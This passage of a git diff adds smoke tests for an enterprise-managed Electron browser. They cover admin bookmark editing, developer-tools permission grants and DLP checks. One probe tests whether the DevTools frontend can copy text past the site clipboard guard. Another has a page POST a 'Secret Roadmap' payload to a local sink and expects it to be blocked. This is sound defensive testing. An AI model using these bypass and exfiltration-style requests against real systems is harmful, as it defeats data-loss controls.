proof['localOcr']={'decision':answer['decision'],'ruleId':answer['ruleId'],'complete':answer['coverage']['complete'],'seconds':elapsed} + answer,elapsed=invoke('/embed',b'Public product documentation and marketing materials.') + if answer['dimensions']!=768 or answer['model']!='google/embeddinggemma-2' or not answer['coverage']['complete']:raise RuntimeError('Native Gemma proof failed') + proof['localGemma']={'model':answer['model'],'dimensions':answer['dimensions'],'complete':answer['coverage']['complete'],'seconds':elapsed,'device':answer['device']} + target=ROOT/'artifacts/windows-appcontainer-proof.json';target.write_text(json.dumps(proof,indent=2)+'\n',encoding='utf-8') + print(json.dumps({'passed':True,'proof':str(target)})) +finally: + child.kill();child.wait(timeout=5);child.stdout.close();child.stderr.close() diff --git a/scripts/bookmarks-admin-smoke.cjs b/scripts/bookmarks-admin-smoke.cjs new file mode 100644 index 0000000..fc8e26b --- /dev/null +++ b/scripts/bookmarks-admin-smoke.cjs @@ -0,0 +1,25 @@ +'use strict'; +const {app,BrowserWindow}=require('electron');const assert=require('node:assert/strict');const fs=require('node:fs');const path=require('node:path'); +app.disableHardwareAcceleration();app.enableSandbox();app.setPath('userData',process.env.SAFETYNET_ADMIN_SMOKE_PROFILE);app.commandLine.appendSwitch('force-device-scale-factor','1'); +let window;const deadline=setTimeout(()=>{console.error('ADMIN_UI_PROOF_TIMEOUT');app.exit(1);},50000); +async function evaluate(source){return window.webContents.executeJavaScript(source,true);} +async function waitFor(source){const until=Date.now()+12000;while(Date.now()setTimeout(r,75));}throw Error('Administrator UI state did not arrive');} +app.whenReady().then(async()=>{ + window=new BrowserWindow({show:false,width:1500,height:1100,webPreferences:{nodeIntegration:false,contextIsolation:true,sandbox:true,offscreen:true,backgroundThrottling:false}}); + await window.loadURL(process.env.SAFETYNET_ADMIN_SMOKE_URL); + await evaluate(`globalThis.__proofErrors=0;addEventListener('error',()=>globalThis.__proofErrors++);addEventListener('unhandledrejection',()=>globalThis.__proofErrors++);`); + assert.deepEqual(await evaluate(`({node:typeof process,require:typeof require,bridge:typeof safetynet})`),{node:'undefined',require:'undefined',bridge:'undefined'}); + const headers=await evaluate(`fetch(location.href).then(r=>({csp:r.headers.get('content-security-policy'),type:r.headers.get('x-content-type-options')}))`);assert.ok(headers.csp.includes("script-src 'self'"));assert.ok(headers.csp.includes("frame-ancestors 'none'"));assert.equal(headers.type,'nosniff'); + await evaluate(`document.getElementById('token').value=${JSON.stringify(process.env.SAFETYNET_ADMIN_SMOKE_TOKEN)};document.getElementById('connect').click()`);await waitFor(`!document.getElementById('workspace').hidden&&document.getElementById('status').textContent.includes('Connected')`); + await evaluate(`document.getElementById('managed-bookmark-add').click();const fields=document.querySelectorAll('#managed-bookmark-rows input');for(const [index,value]of ['Company intranet','https://intranet.synthetic.example/','Company'].entries()){fields[index].value=value;fields[index].dispatchEvent(new Event('input'));}document.getElementById('bookmarks-admin-read').checked=true;document.getElementById('publish').click()`); + await waitFor(`document.getElementById('policy-version').textContent==='v2'&&document.getElementById('status').textContent.includes('published')`); + assert.deepEqual(await evaluate(`Array.from(document.querySelectorAll('#managed-bookmark-rows input'),i=>i.value)`),['Company intranet','https://intranet.synthetic.example/','Company']); + await evaluate(`document.getElementById('bookmark-device-load').click()`);await waitFor(`!document.getElementById('bookmark-device-editor').hidden`); + await evaluate(`document.getElementById('personal-bookmark-add').click();const personalFields=document.querySelectorAll('#personal-bookmark-rows input');for(const [index,value]of ['Remote personal reference','https://reference.synthetic.example/','Research'].entries()){personalFields[index].value=value;personalFields[index].dispatchEvent(new Event('input'));}document.getElementById('bookmark-device-save').click()`); + await waitFor(`document.getElementById('bookmark-device-status').textContent.includes('Saved revision 1')`);assert.equal(await evaluate(`document.getElementById('policy-version').textContent`),'v2'); + await evaluate(`document.getElementById('bookmark-device-refresh').click()`);await waitFor(`document.getElementById('bookmark-device-status').textContent.includes('Loaded device revision 1')`);assert.equal(await evaluate(`document.querySelector('#personal-bookmark-rows input').value`),'Remote personal reference'); + await evaluate(`document.getElementById('bookmarks-admin-read').checked=false;document.getElementById('publish').click()`);await waitFor(`document.getElementById('policy-version').textContent==='v3'&&document.getElementById('status').textContent.includes('published')`); + await evaluate(`document.getElementById('bookmark-device-load').click()`);await waitFor(`document.getElementById('status').className==='error'`);assert.equal(await evaluate(`document.getElementById('bookmark-device-editor').hidden`),true);assert.equal(await evaluate(`globalThis.__proofErrors`),0); + await evaluate(`document.getElementById('bookmarks').scrollIntoView()`);window.webContents.invalidate();await new Promise(r=>setTimeout(r,300));fs.mkdirSync(path.resolve('artifacts'),{recursive:true});fs.writeFileSync(path.resolve('artifacts/bookmarks-admin.png'),(await window.webContents.capturePage()).toPNG()); + console.log('BOOKMARK_ADMIN_PROOF_OK');clearTimeout(deadline);window.destroy();app.exit(0); +}).catch(error=>{console.error('BOOKMARK_ADMIN_PROOF_FAILED',error.message);clearTimeout(deadline);window?.destroy();app.exit(1);}); diff --git a/scripts/bookmarks-admin-smoke.mjs b/scripts/bookmarks-admin-smoke.mjs new file mode 100644 index 0000000..5a62001 --- /dev/null +++ b/scripts/bookmarks-admin-smoke.mjs @@ -0,0 +1,26 @@ +// Finite, isolated administrator workflow proof using actual UI and HTTP routes. +import assert from 'node:assert/strict'; +import { createRequire } from 'node:module'; +import { createServer } from 'node:net'; +import { mkdtempSync, mkdirSync, rmSync, writeFileSync } from 'node:fs'; +import { tmpdir } from 'node:os'; +import { join, resolve, sep, basename } from 'node:path'; +import { spawn } from 'node:child_process'; +import { randomBytes } from 'node:crypto'; +import { openStore } from '../apps/server/store.mjs'; +import { createApp } from '../apps/server/app.mjs'; +import { verifyPolicy } from '../packages/core/policy.mjs'; +const require=createRequire(import.meta.url),directory=mkdtempSync(join(tmpdir(),'safetynet-bookmarks-admin-smoke-')); +let store,server,child; +try{ + store=openStore(join(directory,'management'));const adminToken=randomBytes(32).toString('base64url'),config={adminToken,publicUrl:'http://127.0.0.1',secure:false}; + store.db.prepare('INSERT INTO devices(id,name,platform,user,token_hash,last_seen) VALUES(?,?,?,?,?,?)').run('synthetic-bookmark-device','Synthetic bookmark device','win32','synthetic-user','synthetic-unused',new Date().toISOString()); + server=createApp(store,config).listen(0,'127.0.0.1');await new Promise(r=>server.once('listening',r));config.publicUrl=`http://127.0.0.1:${server.address().port}`; + const env={...process.env,SAFETYNET_ADMIN_SMOKE_PROFILE:join(directory,'browser'),SAFETYNET_ADMIN_SMOKE_URL:config.publicUrl,SAFETYNET_ADMIN_SMOKE_TOKEN:adminToken};delete env.ELECTRON_RUN_AS_NODE; + child=spawn(require('electron'),['scripts/bookmarks-admin-smoke.cjs'],{env,windowsHide:true,stdio:['ignore','pipe','pipe']});child.stdout.on('data',data=>{if(String(data).includes('BOOKMARK_ADMIN_PROOF_OK'))console.log('Bookmark administrator interface workflow passed.');});child.stderr.on('data',data=>{const text=String(data);if(text.includes('BOOKMARK_ADMIN_PROOF_'))console.error(text.trim());}); + const timer=setTimeout(()=>child.kill(),60000),code=await new Promise(r=>{child.once('exit',code=>r(code??1));child.once('error',()=>r(1));});clearTimeout(timer);assert.equal(code,0,'Bookmark administrator interface proof failed'); + const policy=verifyPolicy(store.envelope(),store.publicKey());assert.equal(policy.version,3);assert.deepEqual(policy.browser.bookmarks.managed.map(({title,url,folder})=>({title,url,folder})),[{title:'Company intranet',url:'https://intranet.synthetic.example/',folder:'Company'}]);assert.equal(policy.browser.bookmarks.adminReadUserBookmarks,false);assert.equal(store.personalBookmarks('synthetic-bookmark-device').revision,1);assert.equal(store.personalBookmarks('synthetic-bookmark-device').items[0].title,'Remote personal reference'); + const report={actualAdministratorUi:true,managedTableRoundtrip:true,explicitPublication:true,deviceReadEdit:true,revisionCompared:true,deviceEditGlobalPolicyUnchanged:true,privacyRevoked:true,nodeUnavailable:true,cspPreserved:true};mkdirSync('artifacts',{recursive:true});writeFileSync('artifacts/bookmarks-admin-proof.json',JSON.stringify(report,null,2));console.log(JSON.stringify(report)); +}finally{ + child?.kill();if(server)await new Promise(r=>{server.closeAllConnections?.();server.close(r);});store?.db.close();const target=resolve(directory);if(!target.startsWith(resolve(tmpdir())+sep)||!basename(target).startsWith('safetynet-bookmarks-admin-smoke-'))throw Error('Unsafe proof cleanup');rmSync(target,{recursive:true,force:true,maxRetries:10,retryDelay:100}); +} diff --git a/scripts/bookmarks-browser-smoke.cjs b/scripts/bookmarks-browser-smoke.cjs new file mode 100644 index 0000000..13286d8 --- /dev/null +++ b/scripts/bookmarks-browser-smoke.cjs @@ -0,0 +1,31 @@ +const {app,BrowserWindow}=require('electron'); +const assert=require('node:assert/strict'); +app.setPath('userData',process.env.SAFETYNET_BOOKMARK_PROFILE);app.setPath('sessionData',process.env.SAFETYNET_BOOKMARK_PROFILE);app.disableHardwareAcceleration();process.env.SAFETYNET_SMOKE_USERDATA=process.env.SAFETYNET_BOOKMARK_PROFILE; +require('../apps/browser/main.cjs'); +const wait=ms=>new Promise(r=>setTimeout(r,ms)),deadline=setTimeout(()=>app.exit(1),110000); +app.whenReady().then(async()=>{try{ + let win;for(let i=0;i<150;i++){win=BrowserWindow.getAllWindows()[0];if(win&&!win.webContents.isLoading()&&win.webContents.getURL().endsWith('index.html'))break;await wait(100);}assert.ok(win); + const call=(name,input)=>win.webContents.executeJavaScript(`window.safetynet[${JSON.stringify(name)}](${JSON.stringify(input)??''})`),state=async()=>(await call('state')).data; + const result=await call('enroll',{server:process.env.SAFETYNET_BOOKMARK_SERVER,code:process.env.SAFETYNET_BOOKMARK_CODE});assert.equal(result.ok,true,result.error);assert.equal(result.data.ready,true); + const id=result.data.deviceId,headers={authorization:`Bearer ${process.env.SAFETYNET_BOOKMARK_ADMIN}`,'content-type':'application/json'},base=process.env.SAFETYNET_BOOKMARK_SERVER; + async function api(route,body,method=body?'POST':'GET'){const r=await fetch(base+route,{method,headers,body:body?JSON.stringify(body):undefined});return {status:r.status,body:await r.json()};} + async function until(fn){for(let i=0;i<200;i++){if(await fn())return;await wait(100);}throw Error('Bookmark refresh timed out');} + async function mutate(action,bookmark){for(let i=0;i<20;i++){const s=await state();const r=await call('mutateBookmarks',{action,bookmark,expectedRevision:s.bookmarks.personal.revision,policyVersion:s.policyVersion});if(r.ok)return r;if(!/Management update in progress/.test(r.error||''))return r;await wait(100);}throw Error('Bookmark mutation unavailable');} + const initial=await state();assert.equal(initial.bookmarks.managed[0].id,'company-intranet');assert.equal(initial.bookmarks.personal.items.length,0); + assert.equal((await mutate('update',{...initial.bookmarks.managed[0],title:'User tamper'})).ok,false); + const personal={id:'personal-fixture',title:'Personal work link',url:process.env.SAFETYNET_BOOKMARK_ORIGIN+'personal',folder:'Work'};const added=await mutate('add',personal);assert.equal(added.ok,true,added.error);assert.equal(added.data.policyVersion,initial.policyVersion);assert.equal(added.data.bookmarks.personal.revision,1); + let adminRead=await api(`/api/admin/devices/${id}/bookmarks`);assert.equal(adminRead.status,200);assert.equal(adminRead.body.items[0].title,personal.title); + const otherCode=(await api('/api/admin/enrollments',{user:'public-other-user'})).body.code; + const other=(await api('/api/device/enroll',{code:otherCode,name:'Public other device',platform:'win32'})).body; + const edited={...personal,title:'Administrator edited work link',url:process.env.SAFETYNET_BOOKMARK_ORIGIN+'admin-edited'};const changed=await api(`/api/admin/devices/${id}/bookmarks`,{expectedRevision:adminRead.body.revision,policyVersion:initial.policyVersion,items:[edited]},'PUT');assert.equal(changed.status,200); + await until(async()=>{const s=await state();return s.ready&&s.bookmarks.personal.revision===2;});assert.equal((await state()).policyVersion,initial.policyVersion);assert.equal((await state()).bookmarks.personal.items[0].title,edited.title); + const otherBookmarks=await api(`/api/admin/devices/${other.id}/bookmarks`);assert.equal(otherBookmarks.status,200);assert.deepEqual(otherBookmarks.body.items,[]);assert.equal(otherBookmarks.body.revision,0); + const ui=await win.webContents.executeJavaScript("({company:document.getElementById('library-company')?.textContent,personal:document.getElementById('library-bookmarks')?.textContent})");assert.ok(JSON.stringify(ui).includes(edited.title),'Live authoritative bookmark missing from UI'); + async function publish(mutator){const current=(await api('/api/admin/overview')).body.policy;mutator(current);current.version++;assert.equal((await api('/api/admin/policy',current,'PUT')).status,200);await until(async()=>{const s=await state();return s.ready&&s.policyVersion===current.version;});return current.version;} + const lockedVersion=await publish(p=>{p.browser.bookmarks.allowUserAdd=false;p.browser.bookmarks.allowUserEdit=false;p.browser.bookmarks.allowUserDelete=false;});assert.equal((await mutate('update',personal)).ok,false);const s=await state();assert.equal((await call('mutateBookmarks',{action:'delete',id:personal.id,expectedRevision:s.bookmarks.personal.revision,policyVersion:lockedVersion})).ok,false); + adminRead=await api(`/api/admin/devices/${id}/bookmarks`);assert.equal((await api(`/api/admin/devices/${id}/bookmarks`,{expectedRevision:adminRead.body.revision,policyVersion:lockedVersion,items:[]},'PUT')).status,200);await until(async()=>(await state()).bookmarks.personal.revision===3); + await publish(p=>p.browser.settings.visible=false);assert.equal((await state()).bookmarks.managed[0].id,'company-intranet','Hiding settings removed required company links');assert.equal((await state()).bookmarks.allowUserAdd,false); + await publish(p=>p.browser.bookmarks.adminReadUserBookmarks=false);assert.equal((await api(`/api/admin/devices/${id}/bookmarks`)).status,403);assert.equal((await api(`/api/admin/devices/${id}/bookmarks`,{expectedRevision:3,policyVersion:(await state()).policyVersion,items:[personal]},'PUT')).status,403); + const events=(await api('/api/admin/overview')).body.events;assert.equal(JSON.stringify(events).includes(edited.title),false);assert.equal(JSON.stringify(events).includes(personal.url),false); + console.log(JSON.stringify({nativeBookmarks:true,managedReadOnly:true,personalRemoteEdit:true,revisionStablePolicy:true,permissionLocks:true}));clearTimeout(deadline);app.quit(); +}catch(error){console.error(JSON.stringify({nativeBookmarks:false,error:error.message}));clearTimeout(deadline);app.exit(1);}}); diff --git a/scripts/bookmarks-browser-smoke.mjs b/scripts/bookmarks-browser-smoke.mjs new file mode 100644 index 0000000..4a3d548 --- /dev/null +++ b/scripts/bookmarks-browser-smoke.mjs @@ -0,0 +1,22 @@ +import assert from 'node:assert/strict'; +import {createRequire} from 'node:module'; +import {createServer} from 'node:http'; +import {mkdtempSync,mkdirSync,writeFileSync} from 'node:fs'; +import {tmpdir} from 'node:os'; +import {join} from 'node:path'; +import {spawn} from 'node:child_process'; +import {randomBytes} from 'node:crypto'; +import {createApp} from '../apps/server/app.mjs'; +import {openStore,digest} from '../apps/server/store.mjs'; +const temporary=mkdtempSync(join(tmpdir(),'safetynet-bookmarks-')),electron=createRequire(import.meta.url)('electron'); +let store,management,sink,child; +try{ + const admin=randomBytes(32).toString('base64url'),code=randomBytes(32).toString('base64url'); + sink=createServer((_req,res)=>res.end('Public bookmark fixture

Public company intranet fixture

')).listen(0,'127.0.0.1');await new Promise(r=>sink.once('listening',r)); + store=openStore(join(temporary,'db'));const policy=store.get('policy');policy.browser.homeUrl=`http://127.0.0.1:${sink.address().port}/`;policy.browser.allowedHosts=['127.0.0.1'];policy.browser.bookmarks.managed=[{id:'company-intranet',title:'Company intranet',url:policy.browser.homeUrl+'intranet',folder:'Company'}];store.put('policy',policy); + store.db.prepare('INSERT INTO enrollments VALUES(?,?,?)').run(digest(code),Date.now()+60000,'public-bookmark-user'); + const config={publicUrl:'http://127.0.0.1',secure:false,adminToken:admin,requirePQManagement:true};management=createApp(store,config).listen(0,'127.0.0.1');await new Promise(r=>management.once('listening',r));config.publicUrl=`http://127.0.0.1:${management.address().port}`; + const env={...process.env,SAFETYNET_BOOKMARK_PROFILE:join(temporary,'browser'),SAFETYNET_BOOKMARK_SERVER:config.publicUrl,SAFETYNET_BOOKMARK_ADMIN:admin,SAFETYNET_BOOKMARK_CODE:code,SAFETYNET_BOOKMARK_ORIGIN:policy.browser.homeUrl};delete env.ELECTRON_RUN_AS_NODE; + child=spawn(electron,['scripts/bookmarks-browser-smoke.cjs'],{windowsHide:true,stdio:'inherit',env});const timer=setTimeout(()=>child.kill(),120000);const status=await new Promise(r=>{child.once('exit',code=>r(code??1));child.once('error',()=>r(1));});clearTimeout(timer);assert.equal(status,0,'Native bookmarks proof failed'); + const report={native:true,companyBookmarksReadOnly:true,personalSynced:true,administratorRemoteEdit:true,deviceRevisionIsolated:true,policyVersionStableOnPersonalEdit:true,remotePermissionsEnforced:true,adminReadPermissionEnforced:true};mkdirSync('artifacts',{recursive:true});writeFileSync('artifacts/bookmarks-browser-proof.json',JSON.stringify(report,null,2));console.log(JSON.stringify(report)); +}finally{child?.kill();for(const server of [management,sink])if(server){server.closeAllConnections();await new Promise(r=>server.close(r));}store?.db.close();} diff --git a/scripts/browser.mjs b/scripts/browser.mjs new file mode 100644 index 0000000..c560fb7 --- /dev/null +++ b/scripts/browser.mjs @@ -0,0 +1,7 @@ +import { spawn } from 'node:child_process'; +import { createRequire } from 'node:module'; +const electron=createRequire(import.meta.url)('electron'); +const env={...process.env}; +for(const name of ['ADMIN_TOKEN','OIDC_CLIENT_SECRET','AI_API_KEY','INSPECTOR_TOKEN','SIEM_HTTP_TOKEN','SIEM_KEY_FILE'])delete env[name]; +const child=spawn(electron,['.'],{stdio:'inherit',env,windowsHide:true});child.on('exit',code=>process.exit(code??1)); +process.on('SIGINT',()=>child.kill());process.on('SIGTERM',()=>child.kill()); diff --git a/scripts/check.mjs b/scripts/check.mjs new file mode 100644 index 0000000..d7e0bb6 --- /dev/null +++ b/scripts/check.mjs @@ -0,0 +1,7 @@ +import { readdirSync } from 'node:fs'; +import { join } from 'node:path'; +import { spawnSync } from 'node:child_process'; +let failed=false; +function walk(dir){for(const entry of readdirSync(dir,{withFileTypes:true})){const p=join(dir,entry.name);if(entry.isDirectory())walk(p);else if(/\.(mjs|cjs|js)$/.test(p)){const result=spawnSync(process.execPath,['--check',p],{encoding:'utf8'});if(result.status!==0){console.error(result.stderr);failed=true;}}}} +for(const directory of ['apps','packages','scripts','tests'])walk(directory); +if(failed)process.exit(1);console.log('All JavaScript syntax checks passed.'); diff --git a/scripts/devtools-debugger-probe.cjs b/scripts/devtools-debugger-probe.cjs new file mode 100644 index 0000000..31bb6e5 --- /dev/null +++ b/scripts/devtools-debugger-probe.cjs @@ -0,0 +1,19 @@ +'use strict'; +if(!process.versions.electron){const {spawnSync}=require('node:child_process');const env={...process.env};delete env.ELECTRON_RUN_AS_NODE;const r=spawnSync(require('electron'),[__filename],{env,stdio:'inherit',windowsHide:true,timeout:20000});process.exit(r.status??1);} +else{ + const {app,BrowserWindow,WebContentsView,clipboard,ClipboardItem}=require('electron');const {attachPageClipboardGuard,disposePageClipboardGuard}=require('../apps/browser/page-clipboard-guard.cjs'); + app.enableSandbox();app.disableHardwareAcceleration(); + app.whenReady().then(async()=>{let win,view,original;try{ + win=new BrowserWindow({show:false});view=new WebContentsView({webPreferences:{sandbox:true,contextIsolation:true,nodeIntegration:false}});win.contentView.addChildView(view);await view.webContents.loadURL('about:blank'); + let failed=false;await attachPageClipboardGuard(view.webContents,()=>{failed=true;}); + await new Promise(resolve=>{view.webContents.once('devtools-opened',resolve);view.webContents.openDevTools({mode:'detach',activate:false});}); + await new Promise(r=>setTimeout(r,500)); + original=[];for(const item of await clipboard.read()){const data={};for(const type of item.types)data[type]=await item.getType(type);if(Object.keys(data).length)original.push(new ClipboardItem(data));} + const sentinel='SYNTHETIC_DEVTOOLS_DLP_BYPASS_PROBE';await clipboard.writeText('Public probe sentinel'); + const front=view.webContents.devToolsWebContents; + const host=await front.executeJavaScript(`(()=>{if(typeof InspectorFrontendHost==='undefined'||typeof InspectorFrontendHost.copyText!=='function')return false;InspectorFrontendHost.copyText(${JSON.stringify(sentinel)});return true;})()`); + await new Promise(r=>setTimeout(r,200)); + const result={devToolsOpened:view.webContents.isDevToolsOpened(),privateDebuggerAttached:view.webContents.debugger.isAttached(),guardFailure:failed,nativeFrontendCopyAvailable:host,frontendCopyBypassesSiteGuard:await clipboard.readText()===sentinel}; + require('node:fs').writeFileSync('artifacts/devtools-privilege-probe.json',JSON.stringify(result,null,2));console.log(JSON.stringify(result)); + }catch(e){console.error(e.message);process.exitCode=1;}finally{if(original!==undefined)await clipboard.write(original);if(view&&!view.webContents.isDestroyed()){disposePageClipboardGuard(view.webContents);view.webContents.closeDevTools();view.webContents.close({waitForBeforeUnload:false});}win?.destroy();app.exit(process.exitCode||0);}}); +} diff --git a/scripts/devtools-profile-smoke.cjs b/scripts/devtools-profile-smoke.cjs new file mode 100644 index 0000000..5eba042 --- /dev/null +++ b/scripts/devtools-profile-smoke.cjs @@ -0,0 +1,16 @@ +'use strict'; +const {app,BrowserWindow,webContents}=require('electron'),assert=require('node:assert/strict'),fs=require('node:fs');const {disposePageClipboardGuard}=require('../apps/browser/page-clipboard-guard.cjs'); +app.setPath('userData',process.env.SAFETYNET_DEVTOOLS_USERDATA);app.disableHardwareAcceleration();require('../apps/browser/main.cjs');const wait=ms=>new Promise(r=>setTimeout(r,ms));async function until(fn,label){for(let i=0;i<200;i++){if(await fn())return;await wait(100);}throw Error(label+' timed out');} +app.whenReady().then(async()=>{let win;try{ + await until(()=>{win=BrowserWindow.getAllWindows()[0];return win&&!win.webContents.isLoading()&&win.webContents.getURL().endsWith('index.html');},'Shell');const call=async(name,arg)=>{const result=await win.webContents.executeJavaScript(`window.safetynet[${JSON.stringify(name)}](${JSON.stringify(arg)})`);assert.equal(result.ok,true,result.error);return result.data;};const state=()=>call('state'); + await call('enroll',{server:process.env.SAFETYNET_DEVTOOLS_SERVER,code:process.env.SAFETYNET_DEVTOOLS_CODE});let page;await until(()=>{page=webContents.getAllWebContents().find(w=>w.getURL().startsWith(process.env.SAFETYNET_DEVTOOLS_SINK));return page&&!page.isLoading();},'Managed page'); + const toolsOpened=()=>BrowserWindow.getAllWindows().some(w=>w!==win&&w.isVisible()&&!w.webContents.isLoading()&&w.webContents.getURL().startsWith('devtools://devtools/bundled/'));const key=async(code,modifiers=[])=>{page.focus();page.sendInputEvent({type:'keyDown',keyCode:code,modifiers});page.sendInputEvent({type:'keyUp',keyCode:code,modifiers});await wait(300);}; + await key('F12');assert.equal(toolsOpened(),false,'Default policy opened DevTools'); + const api=async(path,method,body)=>{const r=await fetch(process.env.SAFETYNET_DEVTOOLS_SERVER+path,{method,headers:{authorization:`Bearer ${process.env.SAFETYNET_DEVTOOLS_ADMIN}`,'content-type':'application/json'},body:JSON.stringify(body)});assert.equal(r.status,200);return r.json();}; + await api('/api/admin/user-profile-configuration','PUT',{expectedVersion:1,categories:[],delegation:{devTools:true}});await api('/api/admin/user-profiles/developer','PUT',{expectedVersion:2,profile:{id:'developer',name:'Developer',deviceIds:[(await state()).deviceId],features:{devTools:'allow'}}}); + await until(async()=>{const s=await state();return s.ready&&s.policyVersion===3&&!page.isLoading();},'Signed developer grant'); + await key('F12');await until(()=>toolsOpened(),'Granted F12');assert.equal(page.debugger.isAttached(),true,'DevTools detached site security guard');assert.equal(win.webContents.isDevToolsOpened(),false,'Trusted chrome DevTools opened'); + await key('F12');await until(()=>!toolsOpened(),'F12 close');await key('I',['control','shift']);await until(()=>toolsOpened(),'Granted CtrlShiftI'); + await api('/api/admin/user-profiles/developer','DELETE',{expectedVersion:3});await until(async()=>{const s=await state();return s.policyVersion===4&&s.ready&&!toolsOpened();},'Live developer grant revocation');await key('F12');assert.equal(toolsOpened(),false,'Revoked developer grant reopened tools');assert.equal(page.debugger.isAttached(),true); + fs.mkdirSync('artifacts',{recursive:true});fs.writeFileSync('artifacts/devtools-profile-proof.json',JSON.stringify({actualNativeShortcut:true,defaultDenied:true,centralSignedProfileGranted:true,f12Opened:true,ctrlShiftIOpened:true,privateClipboardGuardRetained:true,trustedChromeToolsDenied:true,liveProfileRevocationClosed:true,revokedCannotReopen:true},null,2));console.log('Native developer profile deny/grant/revocation proof passed.'); +}catch(error){console.error(error.message);process.exitCode=1;}finally{for(const contents of webContents.getAllWebContents())if(contents!==win?.webContents&&!contents.isDestroyed())disposePageClipboardGuard(contents);app.exit(process.exitCode||0);}}); diff --git a/scripts/devtools-profile-smoke.mjs b/scripts/devtools-profile-smoke.mjs new file mode 100644 index 0000000..97fdce9 --- /dev/null +++ b/scripts/devtools-profile-smoke.mjs @@ -0,0 +1,8 @@ +import assert from 'node:assert/strict';import {createServer} from 'node:http';import {createRequire} from 'node:module';import {mkdtempSync,rmSync} from 'node:fs';import {tmpdir} from 'node:os';import {join,resolve,sep,basename} from 'node:path';import {spawn} from 'node:child_process';import {randomBytes} from 'node:crypto';import {createApp} from '../apps/server/app.mjs';import {openStore,digest} from '../apps/server/store.mjs'; +const require=createRequire(import.meta.url),directory=mkdtempSync(join(tmpdir(),'safetynet-devtools-proof-'));let sink,server,store,child; +try{ + sink=createServer((_req,res)=>{res.setHeader('content-type','text/html');res.end('Developer fixture

Synthetic developer page

');}).listen(0,'127.0.0.1');await new Promise(r=>sink.once('listening',r));const sinkUrl=`http://127.0.0.1:${sink.address().port}`; + store=openStore(join(directory,'management'));const policy=store.get('policy');policy.browser.homeUrl=sinkUrl;policy.browser.allowedHosts=['127.0.0.1'];store.put('policy',policy);const code=randomBytes(32).toString('base64url'),adminToken=randomBytes(32).toString('base64url');store.db.prepare('INSERT INTO enrollments VALUES(?,?,?)').run(digest(code),Date.now()+600000,'synthetic-developer');const config={adminToken,publicUrl:'http://127.0.0.1',secure:false};server=createApp(store,config).listen(0,'127.0.0.1');await new Promise(r=>server.once('listening',r));config.publicUrl=`http://127.0.0.1:${server.address().port}`; + const env={...process.env,SAFETYNET_DEVTOOLS_SERVER:config.publicUrl,SAFETYNET_DEVTOOLS_CODE:code,SAFETYNET_DEVTOOLS_ADMIN:adminToken,SAFETYNET_DEVTOOLS_SINK:sinkUrl,SAFETYNET_DEVTOOLS_USERDATA:join(directory,'browser'),SAFETYNET_SMOKE_USERDATA:join(directory,'browser')};delete env.ELECTRON_RUN_AS_NODE; + child=spawn(require('electron'),['scripts/devtools-profile-smoke.cjs'],{env,windowsHide:true,stdio:['ignore','pipe','pipe']});child.stdout.on('data',b=>process.stdout.write(b));child.stderr.on('data',b=>process.stderr.write(String(b).replaceAll(code,'[fixture enrollment]').replaceAll(adminToken,'[fixture admin]')));const timer=setTimeout(()=>child.kill(),90000);const exit=await new Promise(r=>{child.once('exit',c=>r(c??1));child.once('error',()=>r(1));});clearTimeout(timer);assert.equal(exit,0,'Native developer-profile proof failed'); +}finally{child?.kill();for(const service of [server,sink])if(service)await new Promise(r=>{service.closeAllConnections();service.close(r);});store?.db.close();const target=resolve(directory);if(!target.startsWith(resolve(tmpdir())+sep)||!basename(target).startsWith('safetynet-devtools-proof-'))throw Error('Unsafe fixture cleanup');rmSync(target,{recursive:true,force:true,maxRetries:10,retryDelay:100});} diff --git a/scripts/electron-smoke.cjs b/scripts/electron-smoke.cjs new file mode 100644 index 0000000..9390931 --- /dev/null +++ b/scripts/electron-smoke.cjs @@ -0,0 +1,284 @@ +const {app,BrowserWindow}=require('electron'); +const fs=require('node:fs'),path=require('node:path'),assert=require('node:assert/strict'); +fs.writeFileSync(path.join(process.env.SAFETYNET_SMOKE_ARTIFACTS,'smoke-entry.txt'),'Electron JavaScript started.\n'); +app.setPath('userData',process.env.SAFETYNET_SMOKE_USERDATA); +app.disableHardwareAcceleration(); +require('../apps/browser/main.cjs'); +const wait=ms=>new Promise(r=>setTimeout(r,ms)); +const log=message=>fs.appendFileSync(path.join(process.env.SAFETYNET_SMOKE_ARTIFACTS,'smoke-entry.txt'),message+'\n'); +app.whenReady().then(async()=>{ + try{ + fs.appendFileSync(path.join(process.env.SAFETYNET_SMOKE_ARTIFACTS,'smoke-entry.txt'),'Electron ready.\n'); + let win; + for(let n=0;n<100;n++){win=BrowserWindow.getAllWindows()[0];if(win&&!win.webContents.isLoading()&&win.webContents.getURL().endsWith('index.html'))break;await wait(100);} + await wait(300); + log('Reading initial shell state: '+win.webContents.getURL()); + const initial=await win.webContents.executeJavaScript('window.safetynet.state()');assert.equal(initial.data.ready,false); + assert.equal((await win.webContents.executeJavaScript('window.safetynet.vaultCreate("fixture-master-password-only")')).ok,false,'Unenrolled vault access was allowed'); + log('Starting enrollment'); + const input={server:process.env.SAFETYNET_SMOKE_SERVER,code:process.env.SAFETYNET_SMOKE_CODE}; + const result=await win.webContents.executeJavaScript(`window.safetynet.enroll(${JSON.stringify(input)})`);assert.equal(result.ok,true,result.error);assert.equal(result.data.ready,true);assert.equal(result.data.brand.name,'Acme Secure Browser'); + await wait(600); + log('Enrollment passed; testing managed page'); + const page=win.contentView.children.find(v=>v.webContents!==win.webContents).webContents; + log('Managed page URL: '+page.getURL()); + const url=process.env.SAFETYNET_SMOKE_SINK; + const publicResult=await page.executeJavaScript(`fetch(${JSON.stringify(url+'/sink')},{method:'POST',body:'Public information'}).then(r=>r.text()).catch(e=>({error:e.message}))`); + log('Public request: '+JSON.stringify(publicResult));assert.equal(publicResult,'received'); + const blocked=await page.executeJavaScript(`fetch(${JSON.stringify(url+'/sink')},{method:'POST',body:'Secret Roadmap'}).then(()=>false).catch(()=>true)`);assert.equal(blocked,true); + const counts=await (await fetch(url+'/count')).json();assert.equal(counts.posts,1,'Secret payload reached the destination'); + log('Request blocking passed'); + // Real Chromium gestures and the Windows clipboard: never execute fixture commands. + const {clipboard}=require('electron'); + const originalClipboardText=await clipboard.readText(); + const clipboardSentinel='SafetyNet public clipboard fixture'; + async function clipboardKey(key,shift=false){page.focus();page.sendInputEvent({type:'keyDown',keyCode:key,modifiers:shift?['shift']:['control']});page.sendInputEvent({type:'keyUp',keyCode:key,modifiers:shift?['shift']:['control']});await wait(800);await clipboardWait(async()=>!(await win.webContents.executeJavaScript('window.safetynet.state()')).data.clipboardPending);} + async function clipboardWait(predicate){for(let attempt=0;attempt<200;attempt++){if(await predicate())return;await wait(100);}throw Error('Clipboard fixture operation timed out');} + async function selectClipboardText(text){await 